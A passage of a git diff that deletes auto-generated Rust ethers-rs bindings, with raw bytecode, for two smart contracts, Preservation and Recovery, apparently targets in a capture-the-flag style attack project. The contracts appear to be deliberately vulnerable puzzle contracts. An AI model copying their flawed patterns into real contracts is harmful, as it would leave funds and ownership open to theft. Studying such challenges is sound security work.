\x82\x01R`$\x81\x01\x83\x90Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90`D\x01[`@\x80Q\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0\x81\x84\x03\x01\x81R\x90\x82\x90Ra\x01\xA5\x91a\x02XV[`\0`@Q\x80\x83\x03\x81\x85Z\xF4\x91PP=\x80`\0\x81\x14a\x01\xE0W`@Q\x91P`\x1F\x19`?=\x01\x16\x82\x01`@R=\x82R=`\0` \x84\x01>a\x01\xE5V[``\x91P[PPPPV[`\0T`@Q\x7F;\xEB&\xC4\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0` \x82\x01R`$\x81\x01\x83\x90Rs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x90\x91\x16\x90`D\x01a\x01mV[`\0` \x82\x84\x03\x12\x15a\x02QW`\0\x80\xFD[P5\x91\x90PV[`\0\x82Q`\0[\x81\x81\x10\x15a\x02yW` \x81\x86\x01\x81\x01Q\x85\x83\x01R\x01a\x02_V[P`\0\x92\x01\x91\x82RP\x91\x90PV\xFE\xA2dipfsX\"\x12 |\xA9\xD5)\xB9\x89\x83~<|\xDA=z\x99\xEF\xD9\xC5_\x1A\x8F\xF5j\xE8\xA3\xE94\xA6yV\x94\xC2\xB0dsolcC\0\x08\x15\x003"; - /// The deployed bytecode of the contract. - pub static PRESERVATION_DEPLOYED_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__DEPLOYED_BYTECODE); - pub struct Preservation(::ethers::contract::Contract); - impl ::core::clone::Clone for Preservation { - fn clone(&self) -> Self { Self(::core::clone::Clone::clone(&self.0)) } - } - impl ::core::ops::Deref for Preservation { - type Target = ::ethers::contract::Contract; - fn deref(&self) -> &Self::Target { &self.0 } - } - impl ::core::ops::DerefMut for Preservation { - fn deref_mut(&mut self) -> &mut Self::Target { &mut self.0 } - } - impl ::core::fmt::Debug for Preservation { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - f.debug_tuple(::core::stringify!(Preservation)) - .field(&self.address()) - .finish() - } - } - impl Preservation { - /// Creates a new contract instance with the - /// specified `ethers` client at `address`. - /// The contract derefs to a `ethers::Contract` - /// object. - pub fn new>( - address: T, - client: ::std::sync::Arc, - ) -> Self { - Self(::ethers::contract::Contract::new( - address.into(), - PRESERVATION_ABI.clone(), - client, - )) - } - /// Constructs the general purpose `Deployer` - /// instance based on the provided constructor - /// arguments and sends it. Returns a new - /// instance of a deployer that returns an instance - /// of this contract after sending the transaction - /// - /// Notes: - /// - If there are no constructor arguments, you - /// should pass `()` as the argument. - /// - The default poll duration is 7 seconds. - /// - The default number of confirmations is 1 - /// block. - /// - /// - /// # Example - /// - /// Generate contract bindings with `abigen!` and - /// deploy a new contract instance. - /// - /// *Note*: this requires a `bytecode` and `abi` - /// object in the `greeter.json` artifact. - /// - /// ```ignore - /// # async fn deploy(client: ::std::sync::Arc) { - /// abigen!(Greeter, "../greeter.json"); - /// - /// let greeter_contract = Greeter::deploy(client, "Hello world!".to_string()).unwrap().send().await.unwrap(); - /// let msg = greeter_contract.greet().call().await.unwrap(); - /// # } - /// ``` - pub fn deploy( - client: ::std::sync::Arc, - constructor_args: T, - ) -> ::core::result::Result< - ::ethers::contract::builders::ContractDeployer, - ::ethers::contract::ContractError, - > { - let factory = ::ethers::contract::ContractFactory::new( - PRESERVATION_ABI.clone(), - PRESERVATION_BYTECODE.clone().into(), - client, - ); - let deployer = factory.deploy(constructor_args)?; - let deployer = ::ethers::contract::ContractDeployer::new(deployer); - Ok(deployer) - } - ///Calls the contract's `owner` (0x8da5cb5b) - /// function - pub fn owner( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([141, 165, 203, 91], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `setFirstTime` (0xf1e02620) - /// function - pub fn set_first_time( - &self, - time_stamp: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([241, 224, 38, 32], time_stamp) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `setSecondTime` - /// (0x5bda8fa4) function - pub fn set_second_time( - &self, - time_stamp: ::ethers::core::types::U256, - ) -> ::ethers::contract::builders::ContractCall { - self.0 - .method_hash([91, 218, 143, 164], time_stamp) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `timeZone1Library` - /// (0x3dc79422) function - pub fn time_zone_1_library( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([61, 199, 148, 34], ()) - .expect("method not found (this should never happen)") - } - ///Calls the contract's `timeZone2Library` - /// (0x27d6974f) function - pub fn time_zone_2_library( - &self, - ) -> ::ethers::contract::builders::ContractCall< - M, - ::ethers::core::types::Address, - > { - self.0 - .method_hash([39, 214, 151, 79], ()) - .expect("method not found (this should never happen)") - } - } - impl - From<::ethers::contract::Contract> for Preservation - { - fn from(contract: ::ethers::contract::Contract) -> Self { - Self::new(contract.address(), contract.client()) - } - } - ///Container type for all input parameters for the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "owner", abi = "owner()")] - pub struct OwnerCall; - ///Container type for all input parameters for the - /// `setFirstTime` function with signature - /// `setFirstTime(uint256)` and selector `0xf1e02620` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "setFirstTime", abi = "setFirstTime(uint256)")] - pub struct SetFirstTimeCall { - pub time_stamp: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `setSecondTime` function with signature - /// `setSecondTime(uint256)` and selector `0x5bda8fa4` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "setSecondTime", abi = "setSecondTime(uint256)")] - pub struct SetSecondTimeCall { - pub time_stamp: ::ethers::core::types::U256, - } - ///Container type for all input parameters for the - /// `timeZone1Library` function with signature - /// `timeZone1Library()` and selector `0x3dc79422` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "timeZone1Library", abi = "timeZone1Library()")] - pub struct TimeZone1LibraryCall; - ///Container type for all input parameters for the - /// `timeZone2Library` function with signature - /// `timeZone2Library()` and selector `0x27d6974f` - #[derive( - Clone, - ::ethers::contract::EthCall, - ::ethers::contract::EthDisplay, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - #[ethcall(name = "timeZone2Library", abi = "timeZone2Library()")] - pub struct TimeZone2LibraryCall; - ///Container type for all of the contract's call - #[derive( - Clone, ::ethers::contract::EthAbiType, Debug, PartialEq, Eq, Hash, - )] - pub enum PreservationCalls { - Owner(OwnerCall), - SetFirstTime(SetFirstTimeCall), - SetSecondTime(SetSecondTimeCall), - TimeZone1Library(TimeZone1LibraryCall), - TimeZone2Library(TimeZone2LibraryCall), - } - impl ::ethers::core::abi::AbiDecode for PreservationCalls { - fn decode( - data: impl AsRef<[u8]>, - ) -> ::core::result::Result - { - let data = data.as_ref(); - if let Ok(decoded) = - ::decode(data) - { - return Ok(Self::Owner(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::SetFirstTime(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::SetSecondTime(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TimeZone1Library(decoded)); - } - if let Ok(decoded) = - ::decode( - data, - ) - { - return Ok(Self::TimeZone2Library(decoded)); - } - Err(::ethers::core::abi::Error::InvalidData.into()) - } - } - impl ::ethers::core::abi::AbiEncode for PreservationCalls { - fn encode(self) -> Vec { - match self { - Self::Owner(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::SetFirstTime(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::SetSecondTime(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TimeZone1Library(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - Self::TimeZone2Library(element) => { - ::ethers::core::abi::AbiEncode::encode(element) - } - } - } - } - impl ::core::fmt::Display for PreservationCalls { - fn fmt( - &self, - f: &mut ::core::fmt::Formatter<'_>, - ) -> ::core::fmt::Result { - match self { - Self::Owner(element) => ::core::fmt::Display::fmt(element, f), - Self::SetFirstTime(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::SetSecondTime(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TimeZone1Library(element) => { - ::core::fmt::Display::fmt(element, f) - } - Self::TimeZone2Library(element) => { - ::core::fmt::Display::fmt(element, f) - } - } - } - } - impl ::core::convert::From for PreservationCalls { - fn from(value: OwnerCall) -> Self { Self::Owner(value) } - } - impl ::core::convert::From for PreservationCalls { - fn from(value: SetFirstTimeCall) -> Self { Self::SetFirstTime(value) } - } - impl ::core::convert::From for PreservationCalls { - fn from(value: SetSecondTimeCall) -> Self { Self::SetSecondTime(value) } - } - impl ::core::convert::From for PreservationCalls { - fn from(value: TimeZone1LibraryCall) -> Self { - Self::TimeZone1Library(value) - } - } - impl ::core::convert::From for PreservationCalls { - fn from(value: TimeZone2LibraryCall) -> Self { - Self::TimeZone2Library(value) - } - } - ///Container type for all return fields from the - /// `owner` function with signature `owner()` and - /// selector `0x8da5cb5b` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct OwnerReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `timeZone1Library` function with signature - /// `timeZone1Library()` and selector `0x3dc79422` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TimeZone1LibraryReturn(pub ::ethers::core::types::Address); - ///Container type for all return fields from the - /// `timeZone2Library` function with signature - /// `timeZone2Library()` and selector `0x27d6974f` - #[derive( - Clone, - ::ethers::contract::EthAbiType, - ::ethers::contract::EthAbiCodec, - Default, - Debug, - PartialEq, - Eq, - Hash, - )] - pub struct TimeZone2LibraryReturn(pub ::ethers::core::types::Address); -} diff --git a/attack/src/abi/recovery.rs b/attack/src/abi/recovery.rs deleted file mode 100644 index bd43a6a..0000000 --- a/attack/src/abi/recovery.rs +++ /dev/null @@ -1,188 +0,0 @@ -pub use recovery::*; -/// This module was auto-generated with ethers-rs Abigen. -/// More information at: -#[allow( - clippy::enum_variant_names, - clippy::too_many_arguments, - clippy::upper_case_acronyms, - clippy::type_complexity, - dead_code, - non_camel_case_types -)] -pub mod recovery { - #[allow(deprecated)] - fn __abi() -> ::ethers::core::abi::Abi { - ::ethers::core::abi::ethabi::Contract { - constructor: ::core::option::Option::None, - functions: ::core::convert::From::from([( - ::std::borrow::ToOwned::to_owned("generateToken"), - ::std::vec![::ethers::core::abi::ethabi::Function { - name: ::std::borrow::ToOwned::to_owned("generateToken"), - inputs: ::std::vec![ - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned("_name"), - kind: - ::ethers::core::abi::ethabi::ParamType::String, - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("string"), - ), - }, - ::ethers::core::abi::ethabi::Param { - name: ::std::borrow::ToOwned::to_owned( - "_initialSupply" - ), - kind: ::ethers::core::abi::ethabi::ParamType::Uint( - 256usize, - ), - internal_type: ::core::option::Option::Some( - ::std::borrow::ToOwned::to_owned("uint256"), - ), - }, - ], - outputs: ::std::vec![], - constant: ::core::option::Option::None, - state_mutability: - ::ethers::core::abi::ethabi::StateMutability::NonPayable, - },], - )]), - events: ::std::collections::BTreeMap::new(), - errors: ::std::collections::BTreeMap::new(), - receive: false, - fallback: false, - } - } - ///The parsed JSON ABI of the contract. - pub static RECOVERY_ABI: ::ethers::contract::Lazy< - ::ethers::core::abi::Abi, - > = ::ethers::contract::Lazy::new(__abi); - #[rustfmt::skip] - const __BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[Pa\t\x0E\x80a\0 `\09`\0\xF3\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0+W`\x005`\xE0\x1C\x80c8\x94\xE5\x16\x14a\x000W[`\0\x80\xFD[a\0Ca\0>6`\x04a\0\xBEV[a\0EV[\0[\x813\x82`@Qa\0T\x90a\0\x82V[a\0`\x93\x92\x91\x90a\x01\x91V[`@Q\x80\x91\x03\x90`\0\xF0\x80\x15\x80\x15a\0|W=`\0\x80>=`\0\xFD[PPPPV[a\x06\xB7\x80a\x02\"\x839\x01\x90V[\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`A`\x04R`$`\0\xFD[`\0\x80`@\x83\x85\x03\x12\x15a\0\xD1W`\0\x80\xFD[\x825g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\0\xE9W`\0\x80\xFD[\x81\x85\x01\x91P\x85`\x1F\x83\x01\x12a\0\xFDW`\0\x80\xFD[\x815\x81\x81\x11\x15a\x01\x0FWa\x01\x0Fa\0\x8FV[`@Q`\x1F\x82\x01\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x01UWa\x01Ua\0\x8FV[\x81`@R\x82\x81R\x88` \x84\x87\x01\x01\x11\x15a\x01nW`\0\x80\xFD[\x82` \x86\x01` \x83\x017`\0` \x93\x82\x01\x84\x01R\x98\x96\x90\x91\x015\x96PPPPPPV[``\x81R`\0\x84Q\x80``\x84\x01R`\0[\x81\x81\x10\x15a\x01\xBFW` \x81\x88\x01\x81\x01Q`\x80\x86\x84\x01\x01R\x01a\x01\xA2V[P`\0`\x80\x82\x85\x01\x01R`\x80\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0`\x1F\x83\x01\x16\x84\x01\x01\x91PPs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x84\x16` \x83\x01R\x82`@\x83\x01R\x94\x93PPPPV\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x06\xB78\x03\x80a\x06\xB7\x839\x81\x01`@\x81\x90Ra\0/\x91a\0\x8EV[`\0a\0;\x84\x82a\x01\xFAV[P`\x01`\x01`\xA0\x1B\x03\x90\x91\x16`\0\x90\x81R`\x01` R`@\x90 UPa\x02\xB9V[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[\x80Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x89W`\0\x80\xFD[\x91\x90PV[`\0\x80`\0``\x84\x86\x03\x12\x15a\0\xA3W`\0\x80\xFD[\x83Q`\x01`\x01`@\x1B\x03\x80\x82\x11\x15a\0\xBAW`\0\x80\xFD[\x81\x86\x01\x91P\x86`\x1F\x83\x01\x12a\0\xCEW`\0\x80\xFD[\x81Q\x81\x81\x11\x15a\0\xE0Wa\0\xE0a\0\\V[`@Q`\x1F\x82\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x01\x08Wa\x01\x08a\0\\V[\x81`@R\x82\x81R` \x93P\x89\x84\x84\x87\x01\x01\x11\x15a\x01$W`\0\x80\xFD[`\0\x91P[\x82\x82\x10\x15a\x01FW\x84\x82\x01\x84\x01Q\x81\x83\x01\x85\x01R\x90\x83\x01\x90a\x01)V[`\0\x84\x84\x83\x01\x01R\x80\x97PPPPa\x01_\x81\x87\x01a\0rV[\x93PPP`@\x84\x01Q\x90P\x92P\x92P\x92V[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x01\x85W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x01\xA5WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15a\x01\xF5W`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15a\x01\xD2WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15a\x01\xF1W\x82\x81U`\x01\x01a\x01\xDEV[PPP[PPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15a\x02\x13Wa\x02\x13a\0\\V[a\x02'\x81a\x02!\x84Ta\x01qV[\x84a\x01\xABV[` \x80`\x1F\x83\x11`\x01\x81\x14a\x02\\W`\0\x84\x15a\x02DWP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ua\x01\xF1V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15a\x02\x8BW\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01a\x02lV[P\x85\x82\x10\x15a\x02\xA9W\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[a\x03\xEF\x80a\x02\xC8`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0BW`\x005`\xE0\x1C\x80b\xF5]\x9D\x14a\0kW\x80c\x06\xFD\xDE\x03\x14a\0\x8DW\x80c'\xE25\xE3\x14a\0\xB8W\x80c\xA9\x05\x9C\xBB\x14a\0\xF3W`\0\x80\xFD[6a\0fWa\0R4`\na\x02UV[3`\0\x90\x81R`\x01` R`@\x90 \x81\x90U\0[`\0\x80\xFD[4\x80\x15a\0wW`\0\x80\xFD[Pa\0\x8Ba\0\x866`\x04a\x02\x97V[a\x01\x13V[\0[4\x80\x15a\0\x99W`\0\x80\xFD[Pa\0\xA2a\x01,V[`@Qa\0\xAF\x91\x90a\x02\xBBV[`@Q\x80\x91\x03\x90\xF3[4\x80\x15a\0\xC4W`\0\x80\xFD[Pa\0\xE5a\0\xD36`\x04a\x02\x97V[`\x01` R`\0\x90\x81R`@\x90 T\x81V[`@Q\x90\x81R` \x01a\0\xAFV[4\x80\x15a\0\xFFW`\0\x80\xFD[Pa\0\x8Ba\x01\x0E6`\x04a\x03'V[a\x01\xBAV[\x80s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x16\xFF[`\0\x80Ta\x019\x90a\x03SV[\x80`\x1F\x01` \x80\x91\x04\x02` \x01`@Q\x90\x81\x01`@R\x80\x92\x91\x90\x81\x81R` \x01\x82\x80Ta\x01e\x90a\x03SV[\x80\x15a\x01\xB2W\x80`\x1F\x10a\x01\x87Wa\x01\0\x80\x83T\x04\x02\x83R\x91` \x01\x91a\x01\xB2V[\x82\x01\x91\x90`\0R` `\0 \x90[\x81T\x81R\x90`\x01\x01\x90` \x01\x80\x83\x11a\x01\x95W\x82\x90\x03`\x1F\x16\x82\x01\x91[PPPPP\x81V[3`\0\x90\x81R`\x01` R`@\x90 T\x81\x11\x15a\x01\xD6W`\0\x80\xFD[3`\0\x90\x81R`\x01` R`@\x90 Ta\x01\xF1\x90\x82\x90a\x03\xA6V[3`\0\x90\x81R`\x01` R`@\x80\x82 \x92\x90\x92Us\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x93\x90\x93\x16\x83R\x90\x91 UV[\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\x11`\x04R`$`\0\xFD[\x80\x82\x02\x81\x15\x82\x82\x04\x84\x14\x17a\x02lWa\x02la\x02&V[\x92\x91PPV[s\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x81\x16\x81\x14a\x02\x94W`\0\x80\xFD[PV[`\0` \x82\x84\x03\x12\x15a\x02\xA9W`\0\x80\xFD[\x815a\x02\xB4\x81a\x02rV[\x93\x92PPPV[`\0` \x80\x83R\x83Q\x80\x82\x85\x01R`\0[\x81\x81\x10\x15a\x02\xE8W\x85\x81\x01\x83\x01Q\x85\x82\x01`@\x01R\x82\x01a\x02\xCCV[P`\0`@\x82\x86\x01\x01R`@\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0`\x1F\x83\x01\x16\x85\x01\x01\x92PPP\x92\x91PPV[`\0\x80`@\x83\x85\x03\x12\x15a\x03:W`\0\x80\xFD[\x825a\x03E\x81a\x02rV[\x94` \x93\x90\x93\x015\x93PPPV[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x03gW`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x03\xA0W\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[\x81\x81\x03\x81\x81\x11\x15a\x02lWa\x02la\x02&V\xFE\xA2dipfsX\"\x12 \0\xF3\0\0\x8BO3\xAB\x14)z*:\xB2\xF41\x97\xAAA)_\x93\x15\xE3\xE4h.\xFC6\"\xE1\xC8dsolcC\0\x08\x15\x003\xA2dipfsX\"\x12 \xA3\xC2\x1F\xE9\xC4\xE5M\xD3:\x14\x1A\xC5\xB2k\xC9X\x87\xB3\xEF\xF1\xFBLY\xF6jq?\xC7\x86G\x7F\xD8dsolcC\0\x08\x15\x003"; - /// The bytecode of the contract. - pub static RECOVERY_BYTECODE: ::ethers::core::types::Bytes = - ::ethers::core::types::Bytes::from_static(__BYTECODE); - #[rustfmt::skip] - const __DEPLOYED_BYTECODE: &[u8] = b"`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`\x046\x10a\0+W`\x005`\xE0\x1C\x80c8\x94\xE5\x16\x14a\x000W[`\0\x80\xFD[a\0Ca\0>6`\x04a\0\xBEV[a\0EV[\0[\x813\x82`@Qa\0T\x90a\0\x82V[a\0`\x93\x92\x91\x90a\x01\x91V[`@Q\x80\x91\x03\x90`\0\xF0\x80\x15\x80\x15a\0|W=`\0\x80>=`\0\xFD[PPPPV[a\x06\xB7\x80a\x02\"\x839\x01\x90V[\x7FNH{q\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0`\0R`A`\x04R`$`\0\xFD[`\0\x80`@\x83\x85\x03\x12\x15a\0\xD1W`\0\x80\xFD[\x825g\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x80\x82\x11\x15a\0\xE9W`\0\x80\xFD[\x81\x85\x01\x91P\x85`\x1F\x83\x01\x12a\0\xFDW`\0\x80\xFD[\x815\x81\x81\x11\x15a\x01\x0FWa\x01\x0Fa\0\x8FV[`@Q`\x1F\x82\x01\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x01UWa\x01Ua\0\x8FV[\x81`@R\x82\x81R\x88` \x84\x87\x01\x01\x11\x15a\x01nW`\0\x80\xFD[\x82` \x86\x01` \x83\x017`\0` \x93\x82\x01\x84\x01R\x98\x96\x90\x91\x015\x96PPPPPPV[``\x81R`\0\x84Q\x80``\x84\x01R`\0[\x81\x81\x10\x15a\x01\xBFW` \x81\x88\x01\x81\x01Q`\x80\x86\x84\x01\x01R\x01a\x01\xA2V[P`\0`\x80\x82\x85\x01\x01R`\x80\x7F\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xE0`\x1F\x83\x01\x16\x84\x01\x01\x91PPs\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\xFF\x84\x16` \x83\x01R\x82`@\x83\x01R\x94\x93PPPPV\xFE`\x80`@R4\x80\x15a\0\x10W`\0\x80\xFD[P`@Qa\x06\xB78\x03\x80a\x06\xB7\x839\x81\x01`@\x81\x90Ra\0/\x91a\0\x8EV[`\0a\0;\x84\x82a\x01\xFAV[P`\x01`\x01`\xA0\x1B\x03\x90\x91\x16`\0\x90\x81R`\x01` R`@\x90 UPa\x02\xB9V[cNH{q`\xE0\x1B`\0R`A`\x04R`$`\0\xFD[\x80Q`\x01`\x01`\xA0\x1B\x03\x81\x16\x81\x14a\0\x89W`\0\x80\xFD[\x91\x90PV[`\0\x80`\0``\x84\x86\x03\x12\x15a\0\xA3W`\0\x80\xFD[\x83Q`\x01`\x01`@\x1B\x03\x80\x82\x11\x15a\0\xBAW`\0\x80\xFD[\x81\x86\x01\x91P\x86`\x1F\x83\x01\x12a\0\xCEW`\0\x80\xFD[\x81Q\x81\x81\x11\x15a\0\xE0Wa\0\xE0a\0\\V[`@Q`\x1F\x82\x01`\x1F\x19\x90\x81\x16`?\x01\x16\x81\x01\x90\x83\x82\x11\x81\x83\x10\x17\x15a\x01\x08Wa\x01\x08a\0\\V[\x81`@R\x82\x81R` \x93P\x89\x84\x84\x87\x01\x01\x11\x15a\x01$W`\0\x80\xFD[`\0\x91P[\x82\x82\x10\x15a\x01FW\x84\x82\x01\x84\x01Q\x81\x83\x01\x85\x01R\x90\x83\x01\x90a\x01)V[`\0\x84\x84\x83\x01\x01R\x80\x97PPPPa\x01_\x81\x87\x01a\0rV[\x93PPP`@\x84\x01Q\x90P\x92P\x92P\x92V[`\x01\x81\x81\x1C\x90\x82\x16\x80a\x01\x85W`\x7F\x82\x16\x91P[` \x82\x10\x81\x03a\x01\xA5WcNH{q`\xE0\x1B`\0R`\"`\x04R`$`\0\xFD[P\x91\x90PV[`\x1F\x82\x11\x15a\x01\xF5W`\0\x81\x81R` \x81 `\x1F\x85\x01`\x05\x1C\x81\x01` \x86\x10\x15a\x01\xD2WP\x80[`\x1F\x85\x01`\x05\x1C\x82\x01\x91P[\x81\x81\x10\x15a\x01\xF1W\x82\x81U`\x01\x01a\x01\xDEV[PPP[PPPV[\x81Q`\x01`\x01`@\x1B\x03\x81\x11\x15a\x02\x13Wa\x02\x13a\0\\V[a\x02'\x81a\x02!\x84Ta\x01qV[\x84a\x01\xABV[` \x80`\x1F\x83\x11`\x01\x81\x14a\x02\\W`\0\x84\x15a\x02DWP\x85\x83\x01Q[`\0\x19`\x03\x86\x90\x1B\x1C\x19\x16`\x01\x85\x90\x1B\x17\x85Ua\x01\xF1V[`\0\x85\x81R` \x81 `\x1F\x19\x86\x16\x91[\x82\x81\x10\x15a\x02\x8BW\x88\x86\x01Q\x82U\x94\x84\x01\x94`\x01\x90\x91\x01\x90\x84\x01a\x02lV[P\x85\x82\x10\x15a\x02\xA9W\x87\x85\x01Q`\0\x19`\x03\x88\x90\x1B`\xF8\x16\x1C\x19\x16\x81U[PPPPP`\x01\x90\x81\x1B\x01\x90UPV[a\x03\xEF\x80a\x02\xC8`\09`\0\xF3\xFE`\x80`@R`\x046\x10a\0BW`\x005`\xE0\x1C\x80b\xF5]\x9D\x14a\0kW\x80c\x06\xFD\xDE\x03\x14a\0\x8DW\x80c'\xE25\xE3\x14a\0\xB8W\x80c\xA9\x05\x9C\xBB\x14a\0\xF3W`\0\x80\xFD[6a\0fWa\0R4`\na\x02UV[3`\0\x90\x81R`\x01` R`@\x90 